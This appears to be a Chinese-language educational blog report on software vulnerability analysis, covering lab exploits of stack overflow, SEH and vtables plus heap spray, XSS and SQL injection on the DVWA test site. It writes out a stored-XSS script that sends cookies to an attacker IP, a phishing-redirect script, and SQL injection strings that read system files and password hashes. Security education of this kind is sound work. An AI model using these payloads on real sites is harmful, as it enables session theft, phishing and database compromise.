軟件漏洞分析簡述

1. 軟件漏洞分析簡述

1.1 漏洞的定義

漏洞,也叫脆弱性(英語:Vulnerability),是指計算機系統安全方面的缺陷,使得系統或其應用數據的保密性完整性可用性訪問控制等面臨威脅。

1.1.1 漏洞在各時間階段的名稱

根據是否公開分爲:未公開漏洞、已公開漏洞

根據漏洞是否發現分爲:未知漏洞、已知漏洞

根據補丁和利用價值是否發佈分爲:0day漏洞、1day漏洞、歷史漏洞

圖1 漏洞在各時間階段的名稱

1.2 漏洞的特點

  1. 持久性和時效性

持久性:隨着時間的遷移,舊的漏洞會不斷消失,新的漏洞會不斷出現

時效性:當超過一定的時間限制,漏洞的威脅就會逐漸減少直至消失

  1. 可利用性和隱藏性

可利用性:攻擊者能夠利用漏洞對系統帶來威脅和損失

隱蔽性:往往需要通過特殊的漏洞分析手段才能夠發現

  1. 廣泛性和具體性

廣泛性:會影響到很大範圍的軟硬件設備

具體性:存在於具體的環境或者條件中

1.3 漏洞的影響

  1. 可以引發惡性的Web攻擊事件,從而使得公民的權益受到傷害。例如:2011年12月21日,中國最大的程序員社區網站CSDN被爆出有超過600萬用戶的註冊資料,尤其是用戶口令遭泄露。

  2. 可以引發傳播廣泛的計算機病毒。隨着互聯網技術的發展,攻擊者可以藉助某個軟件漏洞肆意傳播惡意的病毒和文件。如在尼姆達,藍寶石,衝擊波和震盪波等事件中,攻擊者利用現有的漏洞傳播漏洞,給社會造成巨大損失。

  3. 可以引發後果嚴重的系統故障。如1962年,發射往金星的水手一號探測器在發射 293
    秒後偏離了預定軌道。它的任務在 5
    個星期後由成功發射的水手二號完成。這次失敗的原因是一個程序員將某個公式轉換成了計算機代碼轉錯了,漏了一個下標。這個下標原本是半徑
    R 的第 N
    次平滑時間導數值。由於缺少數據光滑化處理功能,制導系統把正常速度當成錯誤處理,並造成了修正不精確,最終探測器偏離航向的。

  4. 利用軟件漏洞可以實現高級的可持續攻擊。攻擊者聯合多個0day漏洞對重要的信息系統發起長時間攻擊,如震網,火焰等病毒。

1.4 軟件漏洞必然存在的原因

  1. 由於計算機基於馮諾依曼體系結構,所以決定了漏洞存在的必然性。

  2. 作爲互聯網基礎的TCP/IP協議棧在設計之初主要源於互聯互通和開放性。

  3. 新技術的出現增加了互聯網的複雜性,增大了漏洞產生的概率。

  4. 軟件開發的各個環節都是人爲參與的,缺乏經驗或者疏忽等都可能引發漏洞。

2. 軟件漏洞分析技術概述

隨着社會經濟的發展,互聯網也隨之迅速的發展,軟件已經充斥在我們生活的方方面面,爲我們提供便利的同時也帶來了安全隱患,因此軟件漏洞分析技術的重要性不言而喻。軟件漏洞分析技術主要分爲:軟件架構安全分析技術、源代碼漏洞分析技術、二進制漏洞分析技術和運行系統漏洞分析技術四大類。圖2.1說明各技術之間的關係。

圖2.1 軟件漏洞分析體系

2.1 軟件架構安全分析

軟件架構是軟件的“骨架”,是軟件開發生命週期中代碼編寫的基礎。在此階段進行軟件漏洞的分析具有指導性的意義,能夠及時發現有問題的部分並進行修正,可以減少後期的維護和產生的危害。圖2.2是軟件架構安全分析的基本原理。

圖2.2 軟件架構安全分析原理

目前,關於軟件架構安全分析技術在國內外還處於探索和發展階段,已形成的技術主要分爲:形式化分析和工程化分析,具體如2.3。

圖2.3 軟件架構安全分析技術分類

2.2 源代碼漏洞分析

源代碼漏洞分析主要是對高級語言編寫的程序進行分析以發現漏洞。源代碼作爲軟件的最初原型,其中的安全缺陷可能直接導致軟件漏洞分產生,因此源代碼漏洞分析顯得尤爲重要。目前源代碼漏洞分析主要採用靜態分析的方法,由於該方法不受程序的輸入和運行環境等因素的影響,所以可能發現動態分析難以發現的軟件漏洞。源代碼漏洞分析一般包含源代碼的模型提取,對歷史漏洞、程序代碼進行特徵提取,靜態的漏洞分析和結果分析等四個步驟,通過這四個步驟完成對源代碼的漏洞分析,結構圖如圖2.4所示。

圖2.4 源代碼漏洞分析原理

2.3 二進制漏洞分析技術

儘管源代碼漏洞分析技術具有分析範圍廣,能夠發現一些發現動態分析難以發現的軟件漏洞等特點,但是實際應用中很多應用軟件都是以二進制代碼的形式(如庫文件)的形式存在的,所以對二進制漏洞分析技術的研究具有很強的實際意義。

其分析對象是源代碼編譯後生成的二進制代碼,其中的主要技術環節包括:反彙編逆向分析、中間表示、漏洞建模、彙編代碼結構化、污點分析/動態數據流分析、符號執行/控制流執行等,其一般原理如圖2.5所示。

圖2.5 二進制漏洞分析一般原理

二進制漏洞分析技術種類繁多,從程序是否運行的角度可以分爲:靜態分析技術和動態分析技術;從操作的自動化角度可以分爲手動分析和自動/半自動分析。本次彙報的介紹主要針對程序是否運行的角度進行實驗,從此角度出發我們將二進制漏洞分析技術分爲:靜態分析、動態分析和動靜態結合分析,實驗中以動態分析爲主,靜態分析爲輔進行漏洞的分析。

2.4 運行系統漏洞分析

系統是多種軟件或者模塊的有機整體,因此運行系統漏洞分析技術相對於單個軟件的漏洞分析變現出:更加複雜,分析難度更大等特點。目前,漏洞分析人員通過信息蒐集、漏洞檢測和漏洞確認三個步驟對運行的系統進行漏洞分析,其過程如圖2.6所示。

圖2.6 運行系統漏洞分析原理

2.5 技術總結

軟件漏洞分析技術多種多樣,需要針對軟件的來源,漏洞的類型,分析人員的擅長等因素進行選擇。在彙報的實驗中,由於都是針對某個漏洞類型進行驗證,沒有涉及到軟件架構和系統等概念,故實驗中主要利用二進制漏洞分析技術中的靜態分析、動態分析和動靜結合的分析技術。針對動態分析技術,所使用的軟件有:OllyDbg和Windbg,選擇Windbg有個特點,即其對於Windows自帶原生的軟件更加適用;針對靜態分析技術,所使用的軟件爲IDA
Pro。各個軟件的特點和圖標如表2所示,對用的圖標如3.7所示。

表2 各個軟件的特點和圖標
名稱 特點 圖標
OllyDbg OllyDbg是一個動態追蹤工具,是當今最爲流行的調試解密工具。同時還支持插件擴展功能,是目前最強大的調試工具。 在這裏插入圖片描述
WinDbg Windbg是在windows平臺下,強大的用戶態和內核態調試工具。 在這裏插入圖片描述
IDA Pro 是目前最棒的一個靜態反編譯軟件,爲衆多0day世界的成員和ShellCode安全分析人士不可缺少的利器。 在這裏插入圖片描述

3 主要的漏洞攻擊技術

正所謂:知己知彼百戰百勝,只有具備犯罪能力的人才能洞察他人的犯罪行爲。做爲一個白帽子的安全人員,需要對黑帽子(攻擊者)所使用的攻擊技術進行學習,才能以攻擊者的角度對軟件或者系統等進行漏洞的挖掘、分析和修復。本部分主要介紹現實中一些主要的漏洞攻擊技術,包括:棧溢出、堆溢出、S.E.H的利用、攻擊C++的虛函數、Heap Spray、XSS(Cross Site Script)、sql注入等。

3.1 棧溢出

3.1.1 棧簡介

棧,即堆棧,是一種具有一定規則的數據結構,它按照先進後出的原則存儲數據,先進入的數據被壓入棧底,最後的數據在棧頂。稱之爲“棧”是因爲發生函數調用時,調用函數(caller)的狀態被保存在棧內,被調用函數(callee)的狀態被壓入調用棧的棧頂;在函數調用結束時,棧頂的函數(callee)狀態被彈出,棧頂恢復到調用函數(caller)的狀態。函數調用棧在內存中從高地址向低地址生長,所以棧頂對應的內存地址在壓棧時變小,退棧時變大。

堆棧數據結構的兩種基本操作:

  • PUSH:將數據壓入棧頂

  • POP :將棧頂數據彈出

3.1.2 棧溢出利用

本次實驗採用函數調用的形式,此時會爲被調用的函數開闢一個臨時的棧空間,然後在被調用函數中創建一個buffer緩衝區用於棧溢出(即當覆蓋緩衝區大小超過buffer的大小時則會破壞外面的存儲空間),其原理如圖3.1所示。

圖3.1 棧溢出原理

實驗代碼(如圖3.2所示)主要實現密碼的字符串匹配,代碼本身邏輯沒有錯,但缺少了對字符串長度的判斷,故當密碼長度過長的時候保存在buffer緩衝區中會溢出,導致可能出現代碼本身之外的執行流程。實驗時我們使用特點的密碼字符串(包含可執行代碼、填充和有效的返回地址),在程序執行過程中將該字符串複製到buffer中,通過進行設計使得返回地址置爲buffer的起始地址,因此verify_password函數返回時會跳轉到buffer的起始地址去執行,即改變了程序原本的執行流程,使得我們設計的機器代碼(實驗選擇一個簡單的彈出消息框代碼)能夠得到執行,執行效果如圖3.3所示。

圖3.2 棧溢出利用代碼
圖3.3 棧溢出漏洞利用效果

3.2 S.E.H的利用

3.2.1 S.E.H簡介

S.E.H即異常處理結構體(Structure Exception Handler),它是Windows異常處理機制所採用的重要數據結構。每個S.E.H都包含兩個DOWRD(雙字,即4個字節):S.E.H鏈表指針和異常處理函數句柄,共8字節,如圖3.4所示。

S.E.H結構通常存放於系統棧中,一般包含多個,最終形成鏈表的結構,如圖3.5所示。

圖3.4 S.E.H結構
圖3.5 多個S.E.H構成鏈表的結構

3.2.2 S.E.H的利用

實驗代碼(如圖3.6所示)使用之前介紹的棧溢出的方式進行S.E.H的利用,但有所區別,在於這裏覆蓋的不是返回地址而是異常處理結構體指針。代碼首先聲明瞭一個異常處理方法MyExceptionhandler,代碼從主函數(main)調用test函數,在test函數中引發了一個除0異常並且爲異常設置了異常處理的方法MyExceptionhandler,在程序正常執行過程中將會打印got an exception,press Enter to kill process!但是我們還是使用超長字符串複製到test函數的buf中,通過設置我們的字符串長度,精準覆蓋我們的S.E.H指針,覆蓋位置如圖3.7所示,實驗中將其覆蓋爲buf起始地址0x0012fe98,於是當發生異常的時候程序將會跳轉到buf起始地址去執行,執行代碼同棧溢出實驗,即彈出消息框,效果同上。

圖3.6 S.E.H利用代碼
圖3.7 覆蓋位置示意圖

3.3 攻擊C++虛函數

3.3.1 虛函數簡介

C++類的成員函數在聲明時,若使用virtual進行修飾則被稱爲虛函數,一個類中可能有多個虛函數,但虛函數的入口都被保存在虛表指針中,其虛表指針存放在對象的內存空間中,且緊接着是其他成員變量,其結構如圖3.8所示。

圖3.8 虛函數結構圖

3.3.2 攻擊C++虛函數

實驗代碼(如圖3.9所示)同樣使用棧溢出的方式進行利用,這裏的區別在於覆蓋的是虛表指針。通過虛函數的結構知道虛表指針位於其他成員變量前4字節處,故我們通過buf的指針地址-4即爲虛表指針(p_vtable)地址,首先將虛表指針覆蓋爲我們即將複製字符串的後4個字節的起始地址0x004088CC,然後將該4個字節覆蓋爲buf的起始地址0x0040881C,該過程實現了:當程序調用虛函數時會去查找我們覆蓋的虛變指針(此時指向複製字符串的後4字節處0x004088CC),然後去該4字節處查找虛函數(此時指向buf起始地址0x0040881C),因此我們設計的機器代碼得到了執行,其覆蓋效果示意圖如圖3.10所示,其執行效果同上。

圖3.9 虛函數利用代碼
圖3.10 覆蓋效果示意圖

3.4 Heap Spray簡介

針對瀏覽器的攻擊中,常常結合使用堆和棧協同利用漏洞。在頁面中,我們通過JavaScript可以申請堆內存,這使得我們可以把需要執行的代碼佈置到JavaScript申請到的堆塊中。

在使用HeapSpray的時候,一般將EIP(指令寄存器)指向0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等幾個地址(其由先人實驗得出),然後通過JavaScript申請大量內存,內存中包括我們需要執行的代碼。該技術的利用示意圖如圖3.11所示。由於此攻擊技術主要配合瀏覽器漏洞實現,故此處沒有進行進一步的實驗。

圖3.11 Heap Spray利用示意圖

3.5 XSS攻擊

3.5.1 XSS簡介

XSS(Cross Site Script),全稱跨站腳本攻擊。XSS 攻擊,通常指黑客通過 HTML
注入篡改網頁,插入惡意腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊行爲。於是,我們就可以從存在XSS漏洞的網站中,盜取用戶Cookie、黑掉頁面、導航到惡意網站等操作。

XSS漏洞出現原因在於網站服務器端沒有對用戶的輸入進行有效的過濾,使得其直接展示在頁面上,其主要發生在留言板、個人信息頁面等。

3.5.2 利用XSS獲取用戶的Cookie

由於該漏洞發生在Web應用程序中,故實驗之前需要搭建一個網站用於測試。根據網上現成的靶場DVWA(即開發完成的存在漏洞的Web應用程序)進行下載搭建,減少了自己開發Web應用程序的過程,而可以將注意力集中在漏洞的學習利用上。

實驗時我們測試典型的存儲型XSS(即該輸入的腳本會存到數據庫中,當下一次訪問時將會從數據庫讀取並再次顯示在頁面上)。使用的攻擊腳本爲:<script>alert(document.cookie);new Image().src=“http://192.168.25.1/log?”+escape(document.cookie);</script>,其中包括兩部分腳本,首先是alert腳本,該腳本將訪問該頁面的用戶的Cookie彈出;再者是new Image().src腳本,該腳本在訪問時會向src指定的地址發送http請求,此時我們(在此作爲攻擊者,ip地址爲192.168.25.1)搭建一個用於記錄用戶訪問存在XSS漏洞的網頁時發送的用戶Cookie,通過兩部分的Cookie進行對比,驗證實驗是否成功。實驗中我們將攻擊腳本存放在個人信息的輸入中,界面如圖3.12所示,點擊Sign Guestbook則會把輸入的數據顯示在下方,當訪問該頁面時則會觸發我們輸入的兩部分腳本,各部分觸發效果圖如圖3.13-3.14所示。

圖 3.12 用於測試XSS的界面
圖3.13 alert腳本觸發效果圖
圖3.14接收用戶發送的Cookie

對比彈出消息框於接收的Cookie可能發現類似,但不太一樣,出現該原因是web應用程序會將請求中的一些字符進行URL編碼,將其進行解碼得到相同的數據,成功竊取用戶的Cookie。在實際攻擊中,應該刪除alert腳本,那麼用戶在訪問漏洞頁面時並不會察覺到自己的Cookie已經泄露,使得用戶不會察覺出異常而對賬號密碼進行修改等操作。

3.5.3 利用XSS重定向攻擊者搭建的釣魚網站

在本次實驗中我們使用的攻擊腳本爲:<script>window.location=“http://192.168.25.1/dvwa/vulnerabilities/xss_s/”</script>,其中window.location用於重定向操作,192.168.25.1爲攻擊者設計的跟用戶訪問網站相似的釣魚網站ip。本次實驗和利用XSS獲取用戶的Cookie實驗類型,都將腳本存在用戶信息中,當再次訪問該頁面則觸發腳本,重定向到攻擊者設計的釣魚網站,效果如圖3.15所示,即讓用戶輸入賬號密碼,當用戶上當輸入賬號密碼之後,攻擊者則成功獲取了用戶的信息。

圖3.15釣魚網站登錄頁面

3.6 SQL注入

3.6.1 SQL注入簡介

SQL注入的基本原理在於利用程序對用戶輸入數據的檢查不足或程序自身對變量的處理不足,把額外的SQL語句附加到中間層往後臺數據庫提交的語句中,輕則可以獲取敏感信息,重則可以控制服務器。在SQL注入攻擊中,入侵者通常將未經授權的數據庫語句插入或注入有漏洞的SQL數據信道中,通常情況下攻擊所針對的數據信道通常包括存儲過程和web應用程序的輸入參數,然後這些語句被傳遞到數據庫中執行,這樣攻擊者就可以不受限制的訪問整個數據庫。

其同XSS一樣發生在Web應用程序中,該拓撲結構如圖3.16所示,攻擊者在表示層(即網頁)利用漏洞進行SQL注入,從而獲取超過本身能獲取的信息或者控制權等。

圖3.16 Web應用程序拓撲圖

3.6.2 SQL注入利用

本次實驗分析的測試用例和方法主要針對MySQL,不同數據庫測試方法有一些差異,但大同小異。這裏假設demo爲查詢所要提交的值,首先通過
在這裏插入圖片描述
的方式試探腳本中共有幾個變量接收數據。當返回頁面沒有出現錯誤時,證明變量的數量正好,觀察頁面中顯示出來的數字,可以確定出能夠用於顯示結果的變量位置。

在試探出接收數據的變量個數後,我們可以使用一些攻擊用例進行攻擊,在表3中列出以一些主要的SQL注入攻擊測試用例和說明。

表3 主要的SQL注入攻擊測試用例和說明
SQL注入攻擊測試用例 說明
demo demo’ and 1=1# demo’ and 1=2# 判斷注入點。第一次爲正常請求,如果存在注入漏洞,那麼第二次請求得到的結果應該與第一次一樣,並且第三次得到的結果應與前兩次不同
demo’ or 1=1# 返回所以數據,常用於有搜索功能的頁面
demo’ union select version()# 返回數據庫版本信息
demo’ union select database()# 返回當前數據庫名
demo’ union select user()# 返回數據庫的用戶名信息
demo’ union select session_user()# 返回數據庫的用戶名信息
demo’ union select system_user()# 返回數據庫的用戶名信息
demo’ union select load_file(‘/etc/pwd’) 讀取系統文件
demo’ union select user,password from mysql.user 返回數據庫用戶的密碼信息,其中密碼一般以MD5的方式存儲

使用or 1=1進行全查,其效果圖如圖3.17所示。

圖3.17 使用or進行SQL注入利用效果圖

4 軟件漏洞的發展趨勢

近幾年,隨着信息化的快速發展,對於軟件漏洞分析技術和漏洞利用技術已經趨向於成熟化,很多黑客也利用這些技術進行攻擊,正因爲如此,極大地推進了軟件漏洞領域的發展,如微軟在Windows增加的GS、SafeSEH、DEP、ASLR、SEHOP等安全機制,使得原有的軟件漏洞利用技術更加困難,從而大大提高了Windows的安全性。

下面,我們將分析軟件漏洞面臨的主要挑戰。

4.1 移動終端漏洞

現在移動設備隨處可見,以智能手機爲主的移動終端也逐漸被黑客所關注。隨着移動設備的普及,針對移動設備的漏洞和病毒迅速增加,最受影響的移動設備主要爲Android和IOS。除了移動設備本身的操作系統外,安裝在系統上的其他應用程序也可能引發漏洞。

這裏根據CVE漏洞庫(Common Vulnerabilities and Exposures),繪製出Android系統漏洞和IOS系統漏洞的2009-2015年每年漏洞數量統計圖,如圖4.1-4.2所示。

圖4.1 CVE漏洞庫Android統計圖
圖4.2 CVE漏洞庫IOS統計圖

對於Android操作系統,由於其系統的開放性,除了系統本身存在的一些漏洞之外,其允許第三方應用程序隨意安裝在該系統上,這使得黑客可以對第三方應用程序進行漏洞挖掘並對漏洞進行利用,從而大大增大了Android移動設備的風險。

對於IOS操作系統,由於其系統的封閉性和自身的安全性,使得漏洞攻擊門檻比Android高很多,所以針對IOS平臺的漏洞,在黑市中的價格非常高。如IOS越獄,在越獄中使用的漏洞是非常有價值的,一個越獄漏洞可能賣到50多萬美元。

綜上,移動終端除了要提高操作系統本身的安全性之外,還需要對第三方軟件、插件等進行嚴格的檢查測試才能放上應用商城,若系統或者應用程序出現漏洞,應該強制用戶進行升級,減少用戶被攻擊的風險。

4.2 雲計算平臺漏洞

近些年來,雲計算平臺可以讓用戶將自己的程序在雲上進行運行,同時享受雲所提供的服務和資源,節約了用戶的軟硬件成本,這使得雲計算平臺越來越流行。國內的雲平臺主要有阿里雲、騰訊雲、新浪SAE、百度雲、盛大雲等,國外的有Google
GAE、亞馬遜AWS、微軟Azure等。

從雲計算平臺構建結構來分,可以分爲如圖4.3所示的結構。

圖4.3 雲計算平臺結構圖
  • SaaS(軟件即服務):爲消費者提供應用軟件。

  • PaaS(平臺即服務):爲消費者提供系統平臺,比如Windows、Linux等操作系統,以及相應的管理支撐軟件、開發工具、安全系統等。

  • IaaS(基礎設施即服務):爲消費者提供服務器、存儲設備、網絡通信設備,以及其他IT基礎設施資源。

從整體的角度進行分析,如果黑客要攻擊雲平臺,那麼其最終的目的一般都是爲了拿到底層數據中心裏的存儲數據,因此雲安全的本質其實就是數據安全

4.3 物聯網漏洞

物聯網(Internet of things,簡稱IoT),即將物體接入互聯網,使得人和物可以進行交互,從而使得人能夠對物進行智能化的管理,比如智能門鎖,智能攝像頭、智能插座等等,如圖4.4所示。

圖4.4 智能家居產品

由於智能設備剛剛起步不久,業界對智能設備安全的經驗不足,加上業界缺乏統一技術標準,導致一些隱患的存在。下面則是一些例子:

  • 對智能門鎖進行破解後,就可能被入室盜竊,直接危害個人財產安全;

  • 若pos機子存在被劫持盜刷的漏洞,攻擊者可以無需密碼和銀行卡的情況下直接盜取銀行卡上的錢;

  • 對智能攝像頭的漏洞進行利用,可以篡改監控視頻、對視頻內容進行獲取等,如圖4.5所示。

圖4.5 《竊聽風雲》中對監控系統進行篡改

歡迎批評指正,若圖片等等影響閱讀,可以通過下載我上傳的文檔進行閱讀!!!

發佈了31 篇原創文章 · 獲贊 36 · 訪問量 177萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章